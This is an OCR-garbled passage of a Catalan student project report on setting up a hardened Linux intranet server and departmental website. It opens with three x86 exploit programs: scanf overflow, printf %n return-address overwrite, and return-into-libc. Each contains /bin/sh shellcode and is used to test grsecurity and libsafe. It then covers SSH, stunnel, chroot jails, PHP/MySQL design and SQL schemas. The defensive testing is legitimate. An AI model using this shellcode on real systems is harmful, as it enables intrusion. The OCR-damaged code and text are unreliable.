| ea 0x8(%esi ), ¥ecx
| ea 0x8( %edi ), Yedx
i nt $0x80
xor o%ebx, Yebx
nov o%ebx, Yeax
i nc oeax
i nt $0x80
1:call 0b");
* [

char shellcode[] =

"\ xeb\ x28\ x5e\ x89\ x76\ x08\ x31\ xcO\ x88\ x46\ x07\ x89\ xf 7\ x83\ xc7\ x04"
"\ x89\ x47\ x08\ x83\ xcO\ x07\ x83\ xcO\ x04\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x57"
"\ x08\ xcd\ x80\ x31\ xdb\ x89\ xd8\ x40\ xcd\ x80\ xe8\ xd3\ xf f\ xf f\ xf f/ bi n/ sh

char large_string[128];
void foo()
char buffer[96];

int i;
long *long_ptr = (long *) large_string;
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printf("This program tries to use scanf() to overflow the
buffer.\n");
printf("If you get a /bin/sh pronpt, then the exploit has
wor ked. \n");
printf("Press any key to continue...");
get char ();
for (i =0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i =0; i < (int) strlen(shellcode); i++)
|arge_string[i] = shellcode[i];

sscanf (large_string, "%", buffer);

return;
}
int main(int ac, char *av[])
{
foo();
printf("lIf you see this statenent, it nmeans that the buffer\n");
printf("overflow never occurred.\n");
return O;
}

* EXPLOIT. CANARY-EXPLOIT.C

Aquestprogramantentausarprintf(\"%%n\") persobreescriuréa adrecaderetornde
la pila:

#i ncl ude <stdio. h>
#i ncl ude <sys/types. h>
#i ncl ude <stdlib. h>

char shellcode[] =
"\ xeb\ x1f \ x5e\ x89\ x76\ x08\ x31\ xcO\ x88\ x46\ x07\ x89\ x46\ x0c\ xb0O\ x0
bll

dn

"\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80\ x31\ xdb\ x89\ xd8\ x40\ xc
"\ x80\ xe8\ xdc\ xf f\ xf f\ xff/bin/sh";

voi d foo(caddr_t ra)
{
caddr _t *ra_ptr;
FILE *fp
caddr _t *nextfp;

printf("This program tries to use printf(\"%m\ ") to overwite
the\n");
printf("return address on the stack.\n");
printf("If you get a /bin/sh pronpt, then the exploit has
wor ked. \n");

printf("Press any key to continue...");
get char ();
nextfp = _ builtin_frane_address(1);
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/*
* Find the location of the return address on the stack.
*/
for (ra_ptr=__builtin_frame_address(0)+4; *ra_ptr!=ra; ra_ptr++)
{
if (ra_ptr >= nextfp)
printf("Unable to find the return address on the
stack!\n");
exit(1);
}
/*

* Overwite the return address with the starting address to the
attack
* code. W need to redirect the output to /dev/null, since
we're not
* really interested in the output of fprintf, just the value
witten via
* the % conversion.

*/
fp = fopen("/dev/null", "w');
fprintf(fp, "% *d%\n", (int)shellcode, 0, (int *)ra_ptr);
fclose(fp);
}
int main(int ac, char *av[])
{

/*
*main() is witten nostly in assenbly to avoid the differences
due to
* different conpilers and conpiler optimzations. The
foll owi ng
* instructions push the return address from foo() onto the
stack and then
* call foo(). W have to explicitly pass the return address to
foo(),
* because foo() needs to search for the location of the return
address on
* the stack. This search is necessary because sone conpilers
may not
* place the return address immediately before the frane
poi nter, which
* causes __builtin_return_address(0) to fail

*/
_asm__ __volatile_ (
"push $0f ;"
"cal | foo;"
"0: add $4, Wesp"
)
return O;
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* EXPLOIT. EXPLOIT-NON-EXEC-STACK.C

Aquestesun programagueintentademostraiqueinclus els kernelsquenoméstenen
la sevapila no executablesensecapaltre control podensertambévulnerablesgsun
codi derivat dels proposats per Rafal Wojtczuk i Linus Torvalds:

#i ncl ude <stdi o. h>
#i ncl ude <string. h>
#i ncl ude <stdlib. h>

#defi ne STRCPY &strcpy

#define Sl ZE 512

#define readRegi ster(var,reg) __asm___ volatile__("movl %% #reg ",
%" : "=r" (var))

char shellcode[] =
"\ xeb\ x1f \ x5e\ x89\ x76\ x08\ x31\ xcO\ x88\ x46\ x07\ x89\ x46\ x0c\ xb0O\ x0
bll

"\ x89\ xf 3\ x8d\ x4e\ x08\ x8d\ x56\ x0c\ xcd\ x80\ x31\ xdb\ x89\ xd8\ x40\ xc
"\ x80\ xe8\ xdc\ xf f\ xf f\ xff/bin/sh";

char pattern[SlZE];
char buf[ Sl ZE] ;

int main(int ac, char *av[])
{

char a[10];

int fp, offset;

/*

* read the contents of the frame pointer into variable '"fp'.
*/

readRegi ster (fp, ebp);

offset = fp - (int) a + 4;

menset (pattern, '\ xff', SIZE)
*(int *) (pattern + offset) = (int) STRCPY

*(int *) (pattern + offset + 4) = (i ;

*(int *) (pattern + offset + 8) = (int) &buf;

*(int *) (pattern + offset + 12) = (int) &shell code;
pattern[offset + 16] = "\0';

printf("This program denonstrates how a (stack) buffer
overflomn");
printf("can attack |linux kernels wth *non-executable*
stacks.\n");
printf("This is variation on return-int-libc attack.\n");
printf("If you get a /bin/sh pronpt, then the exploit has
wor ked. \n");
printf("Press any key to continue...");
get char () ;

mencpy(a, pattern, offset+16);

return O;
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Cap dels exploits anteriors van resultar exitosos, tots terminaven sobtadament
mostrant un “Killed” per pantalla com es pot veure a continuacio:

coadm n@leim ~/ exploits $ ./canary-exploit

This programtries to use printf("%") to overwite the
return address on the stack.

If you get a /bin/sh prompt, then the exploit has worked.
Press any key to conti nue..

Killed

Per tant s'havia comprovat que el patch grsecurity era efectiu en aquests casos.

A més de grsecurity es va considerarla possibilitat d'utilitzar la llibreria libsafe
(http://www.research.avayalabs.com/project/libsafefguesta consisteix en un
meétode alternatiu per detectar buffer overflows procedentsde les funcions de
formateig de text (scanf(), strcpy()...). No es necessaricap recompilacié de cap
programa i pot implementar-se de forma completament transparent al sistema.

Concretamentibsafe consisteixen un tipus de capamitja que fa de middlewarei
interceptales cridesa totesles funcions de formateigde text que acostumera ser
vulnerablesSeguidamentinaversidésubstitutade la corresponerfiuncio esexecutada
en comptesde la original, de forma que assegurique no es produeixi un buffer
overflow, evitant aixi que qualsevolatacantpugui sobreescriurd'adrecade retorni
obtenir el control del programa.

Libsafeperlinux no esmésqueunallibreria dinamica(dynamicallyloadabléelibrary),
aguesta'hade carregambangquelesllibreries estandardslel sistemacreantun arxiu
/etc/ld.so.preload amb el contingut “/lib/libsafe.so.2”.

Esva provarels exploitsanteriorsamblibsafei senseel patchgrsecurityi el resultat
de totes elles era similar a:

coadm n@ei m ~/exploits $ ./t1
This programtries to use strcpy() to overflow the buffer.
If you get a /bin/sh prompt, then the exploit has worked.
Press any key to conti nue..
Li bsafe version 2.0.16
Detected an attenpt to wite across stack boundary.
Term nati ng / horme/ mar bl eman/ downl oads/ pr oyect o-fi nal -
carrera/exploits/tl
ui d=1000 eui d=1000 pid=16170

Call stack:
0x40016bec /lib/libsafe.so.2.0.16
0x40016d1b /lib/libsafe.so.2.0.16
0x804850f / horme/ mar bl eman/ downl oads/ proyect o-fi nal -
carrera/exploits/tl
0x8048526 / home/ mar bl eman/ downl oads/ proyect o-fi nal -

carrera/exploits/tl

0x40041daf /lib/libc-2.3.1. s0
Overfl ow caused by strcpy()
Term nado (killed)

26



CREACIO D'UN SERVIDOR PER LA INTRANET DEL DEIM

Excepte en el cas del canary-exploit, el qual va tindre exit en la seva execucio:

coadm n@leim ~/ exploits $ ./canary-exploit

This programtries to use printf("%") to overwite the
return address on the stack.

If you get a /bin/sh prompt, then the exploit has worked.
Press any key to continue...

sh-2. 05b$

Per tant, libsafe no s'estavamostranttan bo com grsecurity. Es va avaluar la

possibilitatde combinarles duessolucionsde seguretatpero llavors al executarels

exploits anteriors es produint segmentationgaults continuamentfent el sistema
massa inestable:

coadnmi n@ei m ~/ exploits $ ./t5

This programtries to use strcat() to overflow the buffer.
If you get a /bin/sh prompt, then the exploit has worked.
Press any key to continue...

Segnent ation fault

Aixi queesva decidir nomésutilitar el patchgrsecurityqueja cobriales necessitats
del sistemapersi sol. Tambéesvandescartasolucionsde seguretajuemodificaven
el compiladorgcc per fer que comprovesels limits dels buffers en segonsquines
circumstanciesgls motiusvanserno trobarun patchd'aguestesaracteristiqueperla
versidde gcc que s'estavausanti a més,no complicaren excésl'administraciode la
maguinaguan nomésamb grsecurityja estavemaconseguinun grau de seguretat
elevat.

CONNEXIONS XIFRADES

Com ja especificavena la nostrapolitica de seguretatfotesles connexionsque es
facin cap al servidor i que requereixin autentificacio per part de l'usuari seran
xifrades.Aixi el login i el passwordo viatjaranentext clar perla xarxai capaltre
persongoodrainterceptaraquest utilitzar-ho peraccediral nostreservidorde forma
no autoritzada.

Els principals protocols que utilitzarem per xifrar les connexions son 3:

* SSH (SeEcUrRESHELL)

SSHesuitilitzat per poderaccedirremotament la consoladel servidor,en concretla
versio OpenSSH{é la mateixafuncionalitatque un “telnet” perotota la informacié
viatja xifrada. Com queel servidorestaubicata unasalaespeciab on no pot accedir
tothom fisicament, totes les tasquesd'administraciées faran remotamentutilitzant
SSH.
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Per incrementarla seguretatho es permetral'accesdirecte des de I'exterior amb
l'usuari“root”, sino ques'haurad'entrarcom un usuarinormali desprésanviar-sea
super-usuari amb la comanda “su”.

La versiddel protocolque s'utilitza ésla 2, ja quede la versid 1 esva descobrirque
eradebil davantd'atacgipus“manin the middle”, esadir, queuntercerusuaripodria
interceptarunaconexio SSHfent d'intermediarientreel clienti el servidori pertant
podia veure tota la informacié que intercanviem, injectar comandes, etc...

SSHofereix tambéla possibilitatd'utilitzar SFTP(SecureFTP) per fer transferencies
d'arxius de forma xifrada. He adoptat també aquest protocol en comptes del
tradicional FTP, per tant tot aquell que necessitipujar arxius al servidornecessitara
tenir un compteambaccésSSHi pertanttambéambaccésSFTP.Desdel moment
gue es va prendre aquestadecisié va sorgir un problema:el usuarisque només
volguessirntenir la sevaplanaweb personalal servidordel deim hauriende tindre un
compteperpoderpujarelsarxiusper SFTPi podrienaccedira tot el sistemavia SSH.
Per aguestmotiu es va optar per una solucié de sistemesgabiadintre del sistema
principal que comentaré en un punt més endavant.

* SSL

Utilitzem la implementaci@OpenSSLde SecureSocketLayer (SSL), aquestprotocol
estableixuna capa de seguretatper diferents protocols, principalmentes utilitzat
juntamentambel protocolHTTP perservirpaginesveb. Pertant, totaplana/aplicacio
web que es desenvolupien el servidori que necessitiautentificacioes facilitara a
l'usuari utilitzant aquest protocol xifrat.

e STUNNEL

Stunnelésun programamultiplataforma(per entornsWindowsi Linux) que permet
encriptarconnexionsI' CP dintre de SSL. Es podenxifrar protocolso serveisque no
soporteno no tenenimplementatcap métodede seguretatcom podria ser POP3,
IMAP, LDAP, etc.. Amb stunnelsenserealitzarcap modificacio al codi delsserveis
(dimonis) es poden aconseguir connexions xifrades.
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El funcionamengésel seglientdirem per exemplequeel servidorofereix POP3pera
gueels usuarispuguinllegir el correuperoel servidorde mail quetenim no ofereix
POP3 encriptat, el que fem es:

1. Executarun stunnelal servidor que escolti pel port 10110i que apuntial 110
(POP3).

2. Bloquejarper firewall el port 110, de forma que si un usuarivol accedira aquest
servei només ho pugui fer de forma xifrada amb stunnel.

Llavors, el client per connectar-se haura de seguir els seglients passos:

1. Executarun stunnelen modeclient escoltantpel 110i apuntanta la maquinadel
deim i al port 1010.

2. Executar el seu client de correu (que no té pergue soportar encriptacio) i
configurar-hoper que baixi el correude la sevapropia maquina(127.0.0.1)pel
port 110.

D'aquestdormaescreaun tunel entrela maquinaclienti el servidorques'encarrega
d'encriptartotesles dadesportar-lesfins I'altre punt, desencriptar-les entregar-lesl
dimoni servidor o al client segons el cas.

Per tant, es va decidir utilitzar aquestaaplicacio per aquells protocols o dimonis

servidorsqueno suportessiencriptacidpersi mateixosMés en concrets'utilitzaamb
el servidor d'IRC (Internet Relay Chat) que explicarem més endavant.

CHroOT (GABIES)

A l'apartatdel SSHja em explicatel problemaamb el que ensvamtrobar:la nostra
decisiod'utilitzar SFTP(SecureFTP) per pujar/baixararxiusdel servidorfeia queels
usuarisguevolguessirficar la sevaplanaweb personahauriendetindre un compteal
sistema pertantpodrienaccedirper SSHatot I'arbrede directoris(menysales parts
gueno tinguin permissos)cosaqueresultatotalmentinnecessaria podriaresultaren
un risc de seguretat futur.

La soluciéperla queesva optarper reduiraquestisc va serfer Us de gabieschroot,
deformaquesi l'usuariaccedeixal sistemaper SSHnoméses puguidesplagaperla
sevagabia(una petitaporcio de tot I'arbre de directoris).A més,el patchgrsecurity
proporcionafuncionalitatsextra per aquesttipus de entorn per tal de fer-los més
segurs.

La implementaci@uevaig escollirva serla “Jail Chroot”. Estractad'unautilitat que

construeix entorns chroot, el seu principal objectiu es ser tan simple com sigui
possible i a més, ser altament portable. La part més dificil a I'hora de construir un
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gabia es quan s'han d'agafartotes les llibreries i arxius necessariger poder fer
funcionarles comande®asiquesJail ensajudaen aquestdeina automatitzanaquest
procés,configurai construeixtots els directoris,arxius i llibreries necessarisEsta
escrit en C, bash i perl. Les caracteristiques més generals son:

- Funciona en Linux, Solaris, IRIX i FreeBSD

- Disseny modular, de forma que es pot portar facilment
» Suport per multiples usuaris en un mateix entorn chroot
+ Shell completament configurable

- Suport per multiples serveis: telnetd, sshd, ftpd...

- Facil instal-laci6 amb els scripts de creacions d'entorns
- Permet executar qualsevol programa com a shell

e CoM FUNCIONA JAIL?

Jail funcionacom un envoltori (wrapper)per la shell de l'usuari,de forma que quan
un usuari entraal sistemajail es executati encapsulatactivant el entorn chroot.
Llavors jail executa la shell real de I'usuari i ja pot interactuar amb el sistema.

El entornchroot és un subarbredel sistemad'arxiusreal, pero dintre del chroot el
principal directoridel subarbregsvist coml'arrel “/”. Pertantpodemaillar facilment
els usuarisde tot I'arbre de directorisprincipal, el segiienddiagramamostraaquesta
visio d'encapsulament (la part gris representa el subarbre chroot):

Co] G o (]
o) (] (o)
o] G G [
o] [E2) [E]

Pertant, qualsevolusuariconfiguratper serengabiatambJail (e.geuser3)quanentra
al sistema,seratraslladatal seu directori homei el directori arrel que veura“/”
realment sera “/chroot”. De tal forma que l'usuari no pot sortir d'aquest subarbre.
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* FUNCIONAMENT INTERN DE JAIL

Comespot observaml diagramala primeracosaquefa Jail ésobtenirla informacio
de l'usuaridel sistema/etc/passwdEn aquestarxiu hi ha informaci6 sobrea on es
troba jail i a quin directori s'ha de fer el chroot.

SeguidamentJail estraslladaal directoridel usuariindicatal /etc/passwad escridaal

chroot() creant la gabia a partir d'ahi. Després d'aquesta crida, Jail només pot veure els
arxius que hi ha en aquestentorn. A continuacié,Jail estableixalgunesvariables
d'entorn (HOME i SHELL per saber quina shell real sera executada per l'usuari).

read non-
chroated fetc/
passwg exec chrooted )
- shell '
chdir{udir) &&
chroot{udir)
adjust
F emvironment M
adijust variables
environment
variables na
read chrooted change to
) Ve _ :
fetcipasswd chrooted udie

A continuacio Jail obté la informacié de I'arxiu /etc/passwddel entorn chroot i
comprovasi el directoride l'usuariesel mateixqueel directoriindicatal /etc/passwd
del sistemaquehemmirat abans)Si séniguals,la variableHOME apuntaraa/, siné
Jail canviara al directori de l'usuari i establira la variable HOME apuntant a aquest.

Finalment,Jail estableixla variable d'entornSHELL amb la informacid llegida del
letc/passwd de la gabia i es reemplaca a si mateix amb la shell final en questio.
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Disseny DE L'APLICACIO WEB

* TECNOLOGIA

Partint dels requeriments de I'analisi:

- Facil de mantenir

- Rapid desenvolupament

- Disseny amb els colors oficials de la universitat
- No utilitzar frames a les webs

- Utilitzar tecnologies lleugeres

- Utilitzacio d'estandards

- Tornar a classificar els continguts existents

- Traduir la informacié més important

Es va optarper utilitzar la tecnologiaPHP pel desenvolupamerde I'aplicaci6é. PHP
(acronimde “PHP:HypertextPreprocessor’gs un llenguatgelliure interpretatd'alt
nivell que s'inclou en les propies pagines web i es executat en el servidor.

Exemple: Un exemple simple

<ht m >
<head>
<title>Example</title>
</ head>
<body>

<?php
echo "H, I"'ma PHP script!";
?>

</ body>
</htm >

Podemveure que no es lo mateix que un script escrit en un altre llenguatgede
programaci@com Perlo Python.En comptesd'escriuremolts comandegper crearuna
sortidaenHTML, escrivimel codiHTML ambcertcodi PHPintroduiten el mateix,
aixo ens produira una sortida (en aquest cas la cadena “Hi, I'm a PHP script!”).

PHP és extremadamentsimple pel principiant, perd alhora, ofereix moltes
caracteristiquesavancadespels programadorsmés experts. Com la majoria de
llenguatgesinterpretatsés de tipat dinamic no declaratiu, de forma que no cal
especificadequin tipussénlesvariablesni definir-lesa caplloc, aixo agilitzamolt el
desenvolupament.
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Un inconvenientde PHP es que produeix 'anomenatcodi espagetila logica del
programa.el modelde dadesi la vista estrobenjunts, de forma que és mésdificil
entendreel funcionamende les aplicacionsen generalso realitzarcanvis.En aquest
cas es va assumir el risc per diversos motius:

- Es necessitava un desenvolupament rapid

- La aplicacio resultant no tindria un tamany excessiu

- La aplicacio resultant no seria propensa a canvis

- La udnica alternativaque no oferia aquestinconvenientdel codi espagetiera
inviable:

Es va valorar la possibilitatd'utilitzar la tecnologiaJ2EE i fer Us d'un servidor
d'aplicaciondliures com JBOSS Oferiala possibilitatde separafacilmentla vista
delmodeli delalogicadel programautilitzantun dissenyde 3 capesMVC (Model
— Vista — Control).

- El primerinconvenientd'aquestaecnologiaesque el desenvolupamerdsmés
lent.

- El segoni mésimportantinconvenientes que inicialment disposavemd'una
magquinaservidoraambunesprestacionsnolt pobrescom per podercompilari
executarcodi Java (Pentium 150 MMX — 32 MB RAM). Per tant aquesta
tecnologia va ser descartada.

e SisTeMA GESTOR DE BASE DE DADES

Un cop escollit la tecnologiaque s'usaria,s’haviade decidir quina basede dades
utilitzar per emmagatzemar la informacié dinamica que mostraria la web.

Les alternatives lliures més destacables eren MySQL i PostgreSQL:

+ MySOL:
- El seu principal objectiu en el dissenyva ser la velocitat. Es van sacrificar
algunes caracteristiques essencials en sistemes meés exigents amb aquest fi.
« Consumeix molt pocs recursos, tant de CPU com de memoria.
+ Llicencia GPL a partir de la versi6 3.23.19
- Avantatges:
- Rendimensuperior.Major velocitattantal connectammbel servidorcomal
fer consultes i modificacions.
- Millors utilitats d'administracio (backup, recuperacio d'errors, etc...)
+ Millor integraciéo amb PHP.
- Sense limits en el tamany dels registres.
- Millor control d'accés,en el sentit de quins usuaristenenaccésa quines
taules i amb quins permisos.
+ MySQL escomportamillor que PostgreSQLa I'hora de modificar o afegir
camps a una taula “en calent”.
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Inconvenients

No suporta transaccions, “roll-backs” ni subselects.
No considerdes clausforanes.Ignorala integritatreferencial deixant-laen
mans del programador de l'aplicacié.

- PostgreSQL

El seuobjectiuesserunabasede dadesde mésalt nivell queMySQL, intentant
arribar a les caracteristiqgues de Oracle, Sybase o Interbase.

Llicencia BSD.

Avantatges:

Perla sevaarquitecturade disseny gscalamolt bé al augmentael nombrede
CPUs i la quantitat de memoria RAM.

Suportatransacciongle de la versi6 7.0 (versid actual 7.3.2) i clausforanes
amb integritat referencial.

Té millor suport per triggers i procediments en el servidor.

Suportaun subconjuntde SQL92 major queel que suportaMySQL. A més,
té certes caracteristiques orientades a objectes.

Inconvenients:

Consumeix bastants recursos i carga molt més el sistema

Limit del tamanyde cadafilera de les taulesestablera 8k, espot ampliara

32k si s'indica al compilar la base de dades pero el cost afegit en el rendiment
es important.

Es de 2 a 3 vegades més lenta que MySQL

Menys funcions en PHP

Com l'objectiu era crear una paginaweb amb contingut dinamic, es necessitava
velocitati es podienprescindirde certescaracteristiqueavancade®s va optar per
MySQL.

e ServiDOrR WEB

El servidorweb més popular d'Internetés Apache, el qual té la llicencia Apache
consideradalliure. Ens proporciona unes molt bones prestacionsa més de la
possibilitat d'afegir-li un modul per utilitzar PHP, tot amb uns requerimentsde
hardwaremolt baixos.Aquestva serel servidorque esva escollir, nésconcretament
emvaig decantaperla ramadeversionsl.3.xi no perla 2.0.x,ja queaquestailtima
encara no té suport PHP i no esta sent utilitzada massivament.
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* DisseNY viSuAL

Complintamb 4 delsrequisitestablertsa la fased'analisirelacionatsamb el disseny
visual de l'aplicacié:

Disseny amb els colors oficials de la universitat.
No utilitzar frames a les webs

Utilitzar tecnologies lleugeres

Utilitzaci6 d'estandards

Es va optar per construir totes les pagines webs amb el mateix esquema:

- Barralateralesquerrd10% del tamanyde la pantalla)ambel menuprincipaldela
web.

- Continguten la part dreta (90% del tamanyde la pantalla)amb el color de la
universitatde fons. * Exceptela paginaprincipal que seradel 80% i tindra una
altra barra lateral dreta del 10% amb links rapids.

- Tres botons “Catala — English — Castellano” a totes les paginesque tinguin
traduccio, situats sota el titol de la pagina.

La composicidde la barralateralambel menui el contingutesfaria dinamicamenal
servidorperevitarl'us de frames.En capmoments'utilitzaratecnologiegpesadesom
per exempleMacromediaFlash. En tot moments'ha comprovatque la paginaera
visualitzadacorrectamenpels principalsnavegadorsiel mercat(Mozilla, Netscape
Internet Explorer) a qualsevol resolucio.
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A continuacio tenim una captura de com quedaria el model visual de la plana web:

¢ Aplicaciones  Acciones Q. J’k-@/ﬂ\-ﬁﬁ—ﬂﬁﬁ , i S - jE 5] ‘-ﬂ)) -=-_|uz 22 de may, 01:53 £ |

" = La universitat en fotos - Mn illa —-BX
File Edit View Go Bookmarks Tools MWindow Help
€ -3 -85 X i‘a http:/fdeim.etse urv.esipresentacioffotos. php ﬁ

§@iHome (C1Bookmarks ¥ Freshmeat‘ ¥ Barrapunto ¥ Mavegante ¥ El Mundo 1 UserLocal ¥ Libertat ¥ HispaSec ) Libertonia ¥ Google #] Tab's ¥ GPL URV | Grup d'us

O3 [ 4 La universitat en fotos ] X

Departament d'Enginyeria Informatica i Matematiques

Docéncia

Recerca

o | La universitat en fotos - Mazilla | ] - | j

e CONTINGUTS

Del contingutde la vella planaweb del DEIM esva decidir eliminar lo innecessari,
traslladarala planadel'escola(ETSE)allo quenotingui relaci6ambel departamenit
ordenar i catalogar la resta d'informacio.

El resultat d'aquesta nova ordenacié va ser el seglient:

PRESENTACIO
- Reglaments del departament
- Carrecs i comissions
- Projecci6 exterior
- Localitzacié
DOCENCIA
- Laboratoris
- Propostes Tesi
- Master en Sistemes Informatics
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RECERCA
- Deiminaris
— Nous
— Historic
- Grups de recerca
PERSONAL
- Llistat
- Cercar
AJUDA
- Manuals
- Administracié DEIM

Els apartats‘Ensenyaments assignaturesi “Projectesde final de carrera”van ser
considerats responsabilitat de I'escola (ETSE).

Es va considerarcontingutdinamici que podria canviar freqientmentels apartats
“Propostes Tesi”, “Deiminaris” i “Personal”.

Les parts importantsa traduir eren els apartats‘Localitzacio”, “PropostesTesi” i
“Personal”.

A la planaprincipal es va decidir fer un sistemade noticies/novetatslinamic a on
poder anar avisanta l'internautade les novetatsa la web o al propi Departament
d'Enginyerialnformaticai MatematiquesA més,a la barralateral dretaes ficarien
uns links rapids que serien configurables dinamicament.

e FuNCIONALITAT

L'aplicacié web disposarad'una interficie d'administracioa la qual s'ha de poder
accedir mitjiancant una autentificacié prévia. A aquestapodran accedir diversos
usuarisde forma que es pugui configurarfacilment quins blocs tenenpermisos per
exemple,s’hade podercrearun usuarique noméstingui acceésa la modificacié de
“Deiminaris”. Hi haun usuariquete el control total i que no pot serni esborrati

modificat, es tracta de I'administrador.

Des d'aquest apartat d'administracié es podra tindre accés als seglients moduls:

- Noticies/novetats
Afegir, modificar o esborrar les noticies/novetats de portada.

- Links rapids
Afegir, modificar o esborrar els links rapids de la barra lateral dreta de portada.
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- Personal
Afegir, modificar o esborrarel personaldel departamentA més,com que cada
professormpertanya un areatambéespodramodificar el llistat d'areesdisponibles.
A mésdel permisper canviartot el personal,ha d’haverun permisespecialper
aguest modul que permeti a un usuari canviar les seves dades pero no les del altres.

- Tesis
Afegir, modificar o esborrarles tesis proposadesCada tesis pertany a una
categoria, des d'aguestmodul es permetra canviar el llistat de categories
disponibles.A mésdel permisper canviartotesles tesis, ha d'haverun permis
especialper aquestmodul que permetia un usuaricanviarles sevestesisperono
les del altres.

- Deiminaris
Afegir, modificar o esborrarels deiminaris (seminaris),tant els antics com els
nous. Es permetra l'enviament d'emails preformatejatsamb el contingut del
seminariper fer pre-avisod avisosdels eventsde formaautomatitzadaA més,ha
d'haver la possibilitat de composarautomaticamentun documentimprimible
(preferiblement PDF) per realitzar els cartells publicitaris per penjar a la
Universitat.

- Usuaris
Afegir, modificar o esborrar els usuaris que tenen accés a aquest apartat
d'administracioa méshade disposamd'un sistemade permisosper poderrestringir
l'accés a segons quins moduls.

- Logs
Visualitzarelslogs de l'aplicacié per detectaratacsal sistemaNoméspot accedir
I'administrador.

Tots els canvisfets amb el menud'administraciées veuranreflexatsa la planaweb
principal i a les seves seccions corresponents.

38



CREACIO D'UN SERVIDOR PER LA INTRANET DEL DEIM

* Diacrames UML

A continuacié veurem els diagramesUML dels casosd'Us corresponentsa les
anteriors explicacions:

Administracio de novetats/noticies
Accessible amb autentificacio previa

Alta Movetat

Baixa novetaf

Fodificar novetat

Nouetatsfnonmes

Afegir slot link rap)

Esborrar slot
@Udiﬂcar slo@

S oot
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Administracio de personal
Accessible amb autentificacio previa

hodificar info propia
Personal ftxa propia)

Alta personal

/@
% Alta &rea
Personal (totes)

todificar personal
Administraci6 de tesis

Accessible amb autentificacio previa

% todificar tesi propies
Tesi (prapies)
L

Tesi (totes) \
hodificar tesi

Alta categoria

Baixa categoria
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Administracio de deiminaris (seminaris)
Accessible amb autentificacio previa

é/’/@

Seminaris
Imprimir cartell seminari

Enviar avis per mail

Administracio d'usuaris
Accessible amb autentificacio previa

hodificar seminari

Alta usuari

Baixa usuari

hodificar usuari

LIsuaris
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Administrador
Accessible amb autentificacio previa

Yisualizar logs

Movetats/noticies  Personal (totes) Tesi (totes) Seminaris Usuaris

:

Fersonal (fitia propia)  Tesi (propies)

Plana principal
Accessible per tothom

Visualitzar historic de seminaris

“Yeure nous seminaris Cercar seminaris antics

Cercar propostes de tesi

Llistar propostes de tesi

Llistar personal del DE@

%/ Cercar personal
2 PN

Consultar altra mena d'informacio estatica
Consultar el correu a l'etse.urv.es
F’ersonal del DEIR

Yeure les novetats del DEIM
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Esquema conceptual per la implementacio de la plana principal

Accessible per tothom

Plana inicial: Novetats

Informacio estatica

Veure deiminari

e

Propers deiminaris

Llistar tesi

Cercar tesi *::::::::h

41::;-Histéric

Cercar

Veure tesi

Llistar personal

Cercar personal

s

Veure persona

Cercador web

Webmail

Forum
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* DISSENY DE LA BASE DE DADES

Per permetretota la funcionalitatespecificada guardartotesles dadess'hafet el
seguent diagrama Entitat — Relacio:

Novetats Novetats_en Novetats_es
Pertany
Personal "& Arees
.#f“‘\\_
T& beca S~
Esta associat
. Profes Associats
Becarils
Usuaris Log
Tezlg Teglg_en Tesis_es
Pertany Pertany Pertany
Categories
Deiminaris Deiminaris Mail
Links

Tantles novetatscom lestesisquetenenentitatsper cadascurdelsidiomesno tenen
relacio alguna per dos motius:

- Es permet introduir una noticia/tesi que no tingui traduccio

- El métodeque s'utilitzara per visualitzarles diferentsnoticies/tesisno comporta
problemesper no estarrelacionatsaixi tambémilloraremenrendimenttreienuna
relacié que no ens aporta gaire cosa.
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L'anterior diagrama té com a resultat les segtients definicions de taules en SQL.:

HitH
# Novetats o noticies a la web
HitH

CREATE TABLE novetats (
nid int UNSIGNED NOT NULL auto_increment,
titol varchar(80) NOT NULL default ",
date timestamp NOT NULL,
bodytext text NOT NULL default ",
PRIMARY KEY (nid)
) TYPE=MyISAM;

CREATE TABLE novetats_es (
nid int UNSIGNED NOT NULL auto_increment,
titol varchar(80) NOT NULL default ",
date timestamp NOT NULL,
bodytext text NOT NULL default ",
PRIMARY KEY (nid)
) TYPE=MyISAM;

CREATE TABLE novetats_en (
nid int UNSIGNED NOT NULL auto_increment,
titol varchar(80) NOT NULL default ",
date timestamp NOT NULL,
bodytext text NOT NULL default ",
PRIMARY KEY (nid)
) TYPE=MyISAM;

HitH
# Personal del departament
HitH

CREATE TABLE personal (
id int UNSIGNED NOT NULL auto_increment UNIQUE,
nom varchar(50) NOT NULL,
despatx varchar(15),
telf int,
email varchar(30),
web varchar(50),
area int UNSIGNED NOT NULL default 1,
consultes varchar(100),
PRIMARY KEY (nom)
) TYPE=MyISAM;

HitH
# Arees
HitH

CREATE TABLE arees (
aid int UNSIGNED NOT NULL auto_increment,
area varchar(100) NOT NULL,
PRIMARY KEY (aid)

) TYPE=MyISAM;

INSERT INTO arees (area) VALUES (‘No determinada’);

INSERT INTO arees (area) VALUES ((ATC - Arquitectura i Tecnologia de
Computadors');

INSERT INTO arees (area)  VALUES(CCIA - Ciéencies de la Computacid i
Intel-ligéncia Artificial');
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INSERT INTO arees (area) VALUES (‘DM - Didactica Matematica’);

INSERT INTO arees (area) VALUES ('LSI - Llenguatges i  Sistemes
Informatics');

INSERT INTO arees (area) VALUES ('MAT - Matematica Aplicada');

INSERT INTO arees (area) VALUES (PAS - Personal d\'Administracio i
Serveis');

HitH

# Professors associats al departament

# id es correspondra amb un registre de personal
HitH

CREATE TABLE profes_associats (
id int UNSIGNED NOT NULL,
PRIMARY KEY (id)

) TYPE=MyISAM;

HitH

# Becaris del departament

# id es correspondra amb un registre de personal
HitH

CREATE TABLE becaris (

id int UNSIGNED NOT NULL,
PRIMARY KEY (id)

) TYPE=MyISAM;

HitH
# Propostes de Tesi
HitH

CREATE TABLE tesis (

tid int UNSIGNED NOT NULL auto_increment,
titol varchar(100) NOT NULL,

keywords varchar(100) NOT NULL default ",
resum text NOT NULL default ",

categoria int UNSIGNED NOT NULL default O,
assignatures_rel varchar(100),

data timestamp NOT NULL,

id1l int UNSIGNED NOT NULL,

id2 int UNSIGNED,

id3 int UNSIGNED,

PRIMARY KEY (tid)

) TYPE=MyISAM;

CREATE TABLE tesis_en (

tid int UNSIGNED NOT NULL auto_increment,
titol varchar(100) NOT NULL,

keywords varchar(100) NOT NULL default ",
resum text NOT NULL default ",

categoria int UNSIGNED NOT NULL default O,
assignatures_rel varchar(100),

data timestamp NOT NULL,

id1l int UNSIGNED NOT NULL,

id2 int UNSIGNED,

id3 int UNSIGNED,

PRIMARY KEY (tid)

) TYPE=MyISAM;

CREATE TABLE tesis_es (
